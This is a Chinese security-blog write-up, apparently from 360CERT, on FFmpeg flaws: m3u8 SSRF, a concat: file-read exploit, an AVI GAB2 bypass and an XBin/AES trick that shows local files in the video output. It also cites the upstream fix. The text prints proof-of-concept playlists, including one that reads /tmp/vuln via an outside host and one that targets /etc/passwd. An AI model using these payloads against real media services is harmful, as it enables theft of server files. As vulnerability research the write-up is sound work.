热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

【技术分享】FFmpeg安全问题讨论(含演示视频)

BlackHat 2016 saw the report on vulnerabilities in video services. The authors continued researching

https://img.php1.cn/3cd4a/1eebe/cd5/dc7ef30f57b727c7.jpeg

BlackHat 2016 saw the report on vulnerabilities in video services. The authors continued researching this area, and are going to tell about new vulnerabilities (logical and binary) and curious ways to exploit them. Look forward to hearing real stories about exploiting these vulnerabilities in bug bounty programs!

– via

在6月27日 hackerone 公开了一个关于FFmpeg本地文件泄漏的报告(https://hackerone.com/reports/243470) 该报告中描述为25日公开的另一个FFmpeg本地文件泄漏相关(https://hackerone.com/reports/242831)。该漏洞@Emil Lerner和@Pavel Cheremushkin在今年的phdays conference中已经披露(https://www.slideshare.net/phdays/ss-76515896)。

360CERT团队第一时间对该安全问题跟进并将简单预警一个未公开的FFmpeg命令执行漏洞。

 

FFmpeg背景知识和工作流程

FFmpeg是一个非常强大且运用广泛的多媒体框架,可以解码,编码,转码,播放几乎所有格式的多媒体文件。其基本工作流程如下:

原始的封装视频 –> demux分离器对封装的视频资源进行分离 –> 得到音频资源和视频资源 –> 进行解码 –> 得到解压后的音频资源和视频资源 –> 进入filter进行编辑处理 –> 得到处理后的音频资源和视频资源 –> 对资源编码得到转码后的音频资源和视频资源 –> 进入mux混合器进行封装 –> 得到转码封装后的视频

https://img.php1.cn/3cd4a/1e618/bdf/129913486c37ddf6.jpeg

虽然FFmpeg非常强大,但是正因为它强大的格式适配能力,加之各种流媒体协议的多样性,有可能对FFmpeg产生意想不到的安全威胁。

 

HLS介绍

一般流媒体协议分为两种,一种是通过HTTP渐进下载的(如HLS,flash渐进式),另一种则是RTSP形式的实时流媒体协议。

HLS是Apple提出并推广的,全称为HTTP Live Streaming。它会把整个视频流分成多个小的,基于 HTTP 的文件来下载,每次下载一部分,并把视频流元数据存放于m3u8文件中。

m3u8本身并不是视频文件,它只会指定应该播放的视频资源,而真正播放的视频资源是下载下来的ts文件,可以把m3u8理解为一个配置文件,配置文件中指定了ts为播放文件,一个简单的m3u8如下:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE
#EXT-X-TARGETDURATION
#EXT-X-ALLOW-CACHE
#EXT-X-ENDLIST
#EXTINF
redrain.ts        真正播放的视频资源

当然,这个视频资源也可以是一个远程资源

 

#EXTM3U
#EXT-X-MEDIA-SEQUENCE
#EXT-X-TARGETDURATION
#EXT-X-ALLOW-CACHE
#EXT-X-ENDLIST
#EXTINF
http://www.redrain.sb/test.mp4        远程资源

知识点复习

我们还记得去年的CVE-2016-1897和CVE-2016-1898,一个SSRF和一个任意文件读取漏洞,其中SSRF用到的就是m3u8可以访问获取远程资源的特性。

CVE-2016-1897

https://img8.php1.cn/3cdc5/18585/8fd/4599ccc64cc3fba2.jpeg

CVE-2016-1898

因为FFmpeg扩展性极强,其中支持一个Physical concatenation protocol concat: 可以把多个url流合并访问资源:

 

concat:URL1|URL2|…|URLN

结合SSRF,我们可以把file://读到的内容发送出来。

#EXTM3U
#EXT-X-TARGETDURATION:6
#EXTINF:10.0,
concat:http://rr.sb/poc/header.m3u8|file:///tmp/vuln
#EXT-X-ENDLIST

之后官方在2.8.5版本修复了该漏洞。

https://img8.php1.cn/3cdc5/18585/8fd/844b05930cc81621.png

 

老树开新花

在上个月的phdays conference里,通过视频格式的一个trick bypass了厂商对SSRF的封堵。

奇怪的视频格式标准

在AVI视频中,有一个数据块可以定义字幕,叫做GAB2,位置于AVI header中,有趣的是m3u8可以插入到avi文件中,且FFmpeg依旧会对有文件头#EXTM3U的AVi视频做HLS处理。

https://img8.php1.cn/3cdc5/18585/8fd/b4bd770ebf95238f.jpeg

https://img8.php1.cn/3cdc5/18585/8fd/cbf30e57a463fa2b.png

bypass继续利用CVE-2016-1898

所以我们可以通过对含有GAB2 header的AVI视频中嵌入m3u8,bypass厂商对CVE-2016-1898的修复

只需要将之前的PoC嵌入AVI中,依然可以读取到目标文件。

 

[AVI header GAB2 header]
#EXTM3U
#EXT-X-TARGETDURATION:6
#EXTINF:10.0,
concat:http://rr.sb/poc/header.m3u8|file:///tmp/vuln
#EXT-X-ENDLIST
[AVI body footer]
New Arbitrary File Read

@Emil Lerner和@Pavel Cheremushkin在会议中其实披露了多个FFmpeg的漏洞,其中一个最为有意思的,也就是在hackerone公开报告中用到的漏洞,把读取到的文件内容输出到视频中,从而可以让文件读取可以在无网络环境的情况下利用。

利用思路如下:

同样将m3u8嵌入到带有GAB2的AVI视频中,对文件格式检查进行bypass。

因为之前说过,m3u8并不是真正的视频资源,所以如果要播放,必须还要在m3u8中嵌入一个可播放的视频资源,其中有一个古老的媒体格式XBin,这个媒体格式具备基本显示图片,文本的功能,体积非常小,最重要的是,这个媒体格式可编程,如果嵌入到m3u8中,将目标文件作为对象,用xbin绘制成为字符,就可以作为合法可播放的视频文件观看了,所以依次嵌套后,文件内容大致为:

[AVI header]
[GAB2 header]
[m3u8 header]
[XBIN header]
目标文件
[XBIN footer]
[m3u8 footer]
[AVI footer]

但FFmpeg检查了body中的非法字符串,所以无法使用data:对XBIN格式声明

 

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:1
#EXTINF:1.0,
data:
#EXTINF:1.0,
file:///etc/passwd
#EXTINF:1.0,
data:
#EXT-X-ENDLIST

但是m3u8支持AES128的CBC模式加密,可以在#EXT-X-KEY中进行设置,所以可以很简单加密m3u8的内容:

 


#EXTINF:1,
#EXT-X-KEY:METHOD=AES-128, URI=/dev/zero, IV=
#EXT-X-BYTERANGE: 16
/dev/zero

= AES^-1 CONST(0x00…00) ⊕ = 

由于m3u8单次访问目标文件获取到的内容不完整,为了获得完整的文件内容,还需要控制#EXT-X-BYTERANGE设置偏移量,然后重复这一部分

最终,我们得到的文件应该是这样的:

 

[AVI header]
[GAB2 header]
[m3u8 header]
{loop}
#EXT-X-KEY:METHOD=AES-128, URI=/dev/zero, IV=     声明m3u8的AES加密,将XBIN部分加密
[XBIN header]     被加密
目标文件
[XBIN footer]    被加密
{loop}
[m3u8 footer]
[AVI footer]

https://img8.php1.cn/3cdc5/18585/8fd/c47c9ac07ebdf74e.png

执行后,读取的目标文件内容成功输出在ffplay的播放器中:

https://img8.php1.cn/3cdc5/18585/8fd/60808192880d2689.png

官方修复

笔者查看的针对这个漏洞的补丁

https://git.ffmpeg.org/gitweb/ffmpeg.git/patch/189ff4219644532bdfa7bab28dfedaee4d6d4021?hp=c0702ab8301844c1eb11dedb78a0bce79693dec7

主要是在限制后缀名这一行生效:

 

+    {“allowed_extensions”, “List of file extensions that hls is allowed to access”,
+        OFFSET(allowed_extensions), AV_OPT_TYPE_STRING,
+        {.str = “3gp,aac,avi,flac,mkv,m3u8,m4a,m4s,m4v,mpg,mov,mp2,mp3,mp4,mpeg,mpegts,ogg,ogv,oga,ts,vob,wav”},
+        INT_MIN, INT_MAX, FLAGS},

打上补丁后,允许的扩展只有上述部分了。

 

Arbitrary Code Execution

phdays的ppt中结尾有那么一张:

https://img8.php1.cn/3cdc5/18585/8fd/a7977a324064b815.png

 

FFmpeg is one of those projects we trust to have RCE everywhere

事实证明这句话是对的,笔者在去年分析该漏洞和imagemagick命令执行后,对格式处理和媒体处理软件的安全性产生了迷之兴趣,所以不由得多看了一下FFmpeg项目,也发现了一个在处理mov视频过程中同样是嵌入数据的命令执行,但在最新的snapshot中暂时没有复现。

通过老版本演示如下:

思考

FFmpeg作为目前来说最广泛的多媒体框架,它的强大之处毋庸置疑,但是正因为适配了尽可能多的媒体格式,其中一些沿用至今的古老格式或是一些特殊的标准协议,都可能给FFmpeg带来不一样的可能性,而缺乏沙箱的设计有可能还会有更多的利用可能性,关于媒体处理的服务组件或软件将会暴露出更多问题。

 

参考来源

https://hackerone.com/reports/242831

https://hackerone.com/reports/226756

https://hackerone.com/reports/243470

https://www.slideshare.net/phdays/ss-76515896

https://www.blackhat.com/docs/us-16/materials/us-16-Ermishkin-Viral-Video-Exploiting-Ssrf-In-Video-Converters.pdf

 


推荐阅读
  • Android 构建基础流程详解
    Android 构建基础流程详解 ... [详细]
  • 在Android平台中,播放音频的采样率通常固定为44.1kHz,而录音的采样率则固定为8kHz。为了确保音频设备的正常工作,底层驱动必须预先设定这些固定的采样率。当上层应用提供的采样率与这些预设值不匹配时,需要通过重采样(resample)技术来调整采样率,以保证音频数据的正确处理和传输。本文将详细探讨FFMpeg在音频处理中的基础理论及重采样技术的应用。 ... [详细]
  • 在Linux系统中,网络配置是至关重要的任务之一。本文详细解析了Firewalld和Netfilter机制,并探讨了iptables的应用。通过使用`ip addr show`命令来查看网卡IP地址(需要安装`iproute`包),当网卡未分配IP地址或处于关闭状态时,可以通过`ip link set`命令进行配置和激活。此外,文章还介绍了如何利用Firewalld和iptables实现网络流量控制和安全策略管理,为系统管理员提供了实用的操作指南。 ... [详细]
  • C++ 开发实战:实用技巧与经验分享
    C++ 开发实战:实用技巧与经验分享 ... [详细]
  • 在探讨Hibernate框架的高级特性时,缓存机制和懒加载策略是提升数据操作效率的关键要素。缓存策略能够显著减少数据库访问次数,从而提高应用性能,特别是在处理频繁访问的数据时。Hibernate提供了多层次的缓存支持,包括一级缓存和二级缓存,以满足不同场景下的需求。懒加载策略则通过按需加载关联对象,进一步优化了资源利用和响应时间。本文将深入分析这些机制的实现原理及其最佳实践。 ... [详细]
  • 解决Only fullscreen opaque activities can request orientation错误的方法
    本文介绍了在使用PictureSelectorLight第三方框架时遇到的Only fullscreen opaque activities can request orientation错误,并提供了一种有效的解决方案。 ... [详细]
  • 在多线程并发环境中,普通变量的操作往往是线程不安全的。本文通过一个简单的例子,展示了如何使用 AtomicInteger 类及其核心的 CAS 无锁算法来保证线程安全。 ... [详细]
  • 本文介绍了如何利用HTTP隧道技术在受限网络环境中绕过IDS和防火墙等安全设备,实现RDP端口的暴力破解攻击。文章详细描述了部署过程、攻击实施及流量分析,旨在提升网络安全意识。 ... [详细]
  • 解决 Windows Server 2016 网络连接问题
    本文详细介绍了如何解决 Windows Server 2016 在使用无线网络 (WLAN) 和有线网络 (以太网) 时遇到的连接问题。包括添加必要的功能和安装正确的驱动程序。 ... [详细]
  • 本文探讨了如何通过编程手段在Linux系统中禁用硬件预取功能。基于Intel® Core™微架构的应用性能优化需求,文章详细介绍了相关配置方法和代码实现,旨在帮助开发人员有效控制硬件预取行为,提升应用程序的运行效率。 ... [详细]
  • 本文详细解析了 Android 系统启动过程中的核心文件 `init.c`,探讨了其在系统初始化阶段的关键作用。通过对 `init.c` 的源代码进行深入分析,揭示了其如何管理进程、解析配置文件以及执行系统启动脚本。此外,文章还介绍了 `init` 进程的生命周期及其与内核的交互方式,为开发者提供了深入了解 Android 启动机制的宝贵资料。 ... [详细]
  • 题目解析给定 n 个人和 n 种书籍,每个人都有一个包含自己喜好的书籍列表。目标是计算出满足以下条件的分配方案数量:1. 每个人都必须获得他们喜欢的书籍;2. 每本书只能分配给一个人。通过使用深度优先搜索算法,可以系统地探索所有可能的分配组合,确保每个分配方案都符合上述条件。该方法能够有效地处理这类组合优化问题,找到所有可行的解。 ... [详细]
  • Python 伦理黑客技术:深入探讨后门攻击(第三部分)
    在《Python 伦理黑客技术:深入探讨后门攻击(第三部分)》中,作者详细分析了后门攻击中的Socket问题。由于TCP协议基于流,难以确定消息批次的结束点,这给后门攻击的实现带来了挑战。为了解决这一问题,文章提出了一系列有效的技术方案,包括使用特定的分隔符和长度前缀,以确保数据包的准确传输和解析。这些方法不仅提高了攻击的隐蔽性和可靠性,还为安全研究人员提供了宝贵的参考。 ... [详细]
  • 深入探索HTTP协议的学习与实践
    在初次访问某个网站时,由于本地没有缓存,服务器会返回一个200状态码的响应,并在响应头中设置Etag和Last-Modified等缓存控制字段。这些字段用于后续请求时验证资源是否已更新,从而提高页面加载速度和减少带宽消耗。本文将深入探讨HTTP缓存机制及其在实际应用中的优化策略,帮助读者更好地理解和运用HTTP协议。 ... [详细]
  • 使用Maven JAR插件将单个或多个文件及其依赖项合并为一个可引用的JAR包
    本文介绍了如何利用Maven中的maven-assembly-plugin插件将单个或多个Java文件及其依赖项打包成一个可引用的JAR文件。首先,需要创建一个新的Maven项目,并将待打包的Java文件复制到该项目中。通过配置maven-assembly-plugin,可以实现将所有文件及其依赖项合并为一个独立的JAR包,方便在其他项目中引用和使用。此外,该方法还支持自定义装配描述符,以满足不同场景下的需求。 ... [详细]
author-avatar
存在米小寒_151
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有